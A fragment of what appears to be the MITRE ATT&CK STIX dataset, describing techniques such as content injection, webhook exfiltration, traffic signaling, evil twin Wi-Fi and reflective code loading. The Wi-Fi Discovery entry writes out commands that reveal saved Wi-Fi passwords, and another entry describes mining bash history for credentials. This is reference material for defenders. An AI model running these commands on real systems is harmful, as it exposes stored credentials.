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            "created": "2023-09-01T21:03:13.406Z",
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                    "url": "https://attack.mitre.org/techniques/T1659",
                    "external_id": "T1659"
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                {
                    "source_name": "EFF China GitHub Attack",
                    "description": "Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.",
                    "url": "https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"
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                {
                    "source_name": "ESET MoustachedBouncer",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
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                {
                    "source_name": "Kaspersky Encyclopedia MiTM",
                    "description": "Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.",
                    "url": "https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"
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                    "source_name": "Kaspersky ManOnTheSide",
                    "description": "Starikova, A. (2023, February 14). Man-on-the-side \u2013 peculiar attack. Retrieved September 1, 2023.",
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            "name": "Content Injection",
            "description": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)",
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                    "external_id": "T1567.004"
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                {
                    "source_name": "Checkmarx Webhooks",
                    "description": " Jossef Harush Kadouri. (2022, March 7). Webhook Party \u2014 Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.",
                    "url": "https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191"
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                    "source_name": "CyberArk Labs Discord",
                    "description": "CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.",
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                    "source_name": "Discord Intro to Webhooks",
                    "description": "D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.",
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                {
                    "source_name": "Microsoft SQL Server",
                    "description": "Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.",
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                    "source_name": "Talos Discord Webhook Abuse",
                    "description": "Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.",
                    "url": "https://blog.talosintelligence.com/collab-app-abuse/"
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                {
                    "source_name": "Push Security SaaS Attacks Repository Webhooks",
                    "description": "Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.",
                    "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md"
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                {
                    "source_name": "RedHat Webhooks",
                    "description": "RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.",
                    "url": "https://www.redhat.com/en/topics/automation/what-is-a-webhook"
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            "description": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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            "name": "Bash History",
            "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
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            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1205",
                    "external_id": "T1205"
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                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"
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                {
                    "source_name": "AMD Magic Packet",
                    "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.",
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                {
                    "source_name": "Mandiant - Synful Knock",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
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                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Hartrell cd00r 2002",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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            "name": "Traffic Signaling",
            "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
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                    "url": "https://attack.mitre.org/techniques/T1021/008",
                    "external_id": "T1021.008"
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                {
                    "source_name": "EC2 Instance Connect",
                    "description": "AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html"
                },
                {
                    "source_name": "AWS System Manager",
                    "description": "AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.",
                    "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html"
                },
                {
                    "source_name": "lucr-3: Getting SaaS-y in the cloud",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console",
                    "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"
                },
                {
                    "source_name": "Azure Serial Console",
                    "description": "Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.",
                    "url": "https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview"
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            "modified": "2025-04-15T22:18:53.305Z",
            "name": "Direct Cloud VM Connections",
            "description": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).",
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                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
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                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
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                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
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                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
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                    "url": "https://capec.mitre.org/data/definitions/471.html",
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                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
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                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary_planting"
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                    "source_name": "Microsoft 2269637",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
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                    "source_name": "Microsoft DLL Redirection",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600"
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                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
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                    "source_name": "Mandiant Search Order",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
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                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
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                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
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                    "source_name": "Juniper Networks ESXi Backdoor 2022",
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                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
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                    "source_name": "Inversecos Linux Timestomping",
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                    "source_name": "Inversecos Timestomping 2022",
                    "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.",
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                    "source_name": "Magnet Forensics",
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                    "description": "Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.",
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                {
                    "source_name": "Kaspersky evil twin",
                    "description": "AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.",
                    "url": "https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks"
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                {
                    "source_name": "medium evil twin",
                    "description": "Gihan, Kavishka. (2021, August 8). Wireless Security\u2014 Evil Twin Attack. Retrieved September 17, 2024.",
                    "url": "https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59"
                },
                {
                    "source_name": "specter ops evil twin",
                    "description": "Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I \u2014 Basic Rogue AP Theory \u2014 Evil Twin and Karma Attacks. Retrieved September 17, 2024.",
                    "url": "https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee"
                },
                {
                    "source_name": "Australia \u2018Evil Twin\u2019",
                    "description": "Toulas, Bill. (2024, July 1). Australian charged for \u2018Evil Twin\u2019 WiFi attack on plane. Retrieved September 17, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:27.842Z",
            "name": "Evil Twin",
            "description": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia \u2018Evil Twin\u2019)\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin)  Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin)  A Wi-Fi Pineapple \u2013 a network security auditing and penetration testing tool \u2013 may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin)  Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim\u2019s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein",
                "DeFord L. Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
            "created": "2021-10-05T01:15:06.293Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1620",
                    "external_id": "T1620"
                },
                {
                    "source_name": "00sec Droppers",
                    "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.",
                    "url": "https://0x00sec.org/t/super-stealthy-droppers/3715"
                },
                {
                    "source_name": "S1 Custom Shellcode Tool",
                    "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"
                },
                {
                    "source_name": "Mandiant BYOL",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "S1 Old Rat New Tricks",
                    "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
                },
                {
                    "source_name": "Microsoft AssemblyLoad",
                    "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.",
                    "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"
                },
                {
                    "source_name": "Intezer ACBackdoor",
                    "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.",
                    "url": "https://intezer.com/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
                },
                {
                    "source_name": "Stuart ELF Memory",
                    "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.",
                    "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
                },
                {
                    "source_name": "Introducing Donut",
                    "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.",
                    "url": "https://thewover.github.io/Introducing-Donut/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.630Z",
            "name": "Reflective Code Loading",
            "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Jo\u00e3o Paulo de A. Filho, @Hug1nN__",
                "Shlomi Salem, SentinelOne",
                "Lior Ribak, SentinelOne",
                "Rex Guo, @Xiaofei_REX, Confluera",
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
                "Jiraput Thamsongkrah"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06",
            "created": "2023-09-08T15:39:50.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016/002",
                    "external_id": "T1016.002"
                },
                {
                    "source_name": "Binary Defense Emotes Wi-Fi Spreader",
                    "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.",
                    "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"
                },
                {
                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
                },
                {
                    "source_name": "Wi-Fi Password of All Connected Networks in Windows/Linux",
                    "description": "Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.",
                    "url": "https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/"
                },
                {
                    "source_name": "Malware Bytes New AgentTesla variant steals WiFi credentials",
                    "description": "Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.",
                    "url": "https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials"
                },
                {
                    "source_name": "Find Wi-Fi Password on Mac",
                    "description": "Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.",
                    "url": "https://mackeeper.com/blog/find-wi-fi-password-on-mac/"
                },
                {
                    "source_name": "BleepingComputer Agent Tesla steal wifi passwords",
                    "description": "Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/"
                }
            ],
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            "modified": "2025-10-24T17:48:44.123Z",
            "name": "Wi-Fi Discovery",
            "description": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Alex Spivakovsky, Pentera",
                "Christopher Peacock",
                "Liran Ravich, CardinalOps",
                "Uriel Kosayev"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742",
            "created": "2024-09-19T14:00:03.401Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1480/002",
                    "external_id": "T1480.002"
                },
                {
                    "source_name": "Intezer RedXOR 2021",
                    "description": "Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.",
                    "url": "https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
                },
                {
                    "source_name": "Sans Mutexes 2012",
                    "description": "Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.",
                    "url": "https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"
                },
                {
                    "source_name": "ICS Mutexes 2015",
                    "description": "Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.",
                    "url": "https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/"
                },
                {
                    "source_name": "Microsoft Mutexes",
                    "description": "Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.",
                    "url": "https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes"
                },
                {
                    "source_name": "Deep Instinct BPFDoor 2023",
                    "description": "Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves \u2013 Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.",
                    "url": "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.630Z",
            "name": "Mutual Exclusion",
            "description": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Manikantan Srinivasan, NEC Corporation India",
                "Pooja Natarajan, NEC Corporation India",
                "Nagahama Hiroki \u2013 NEC Corporation Japan"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
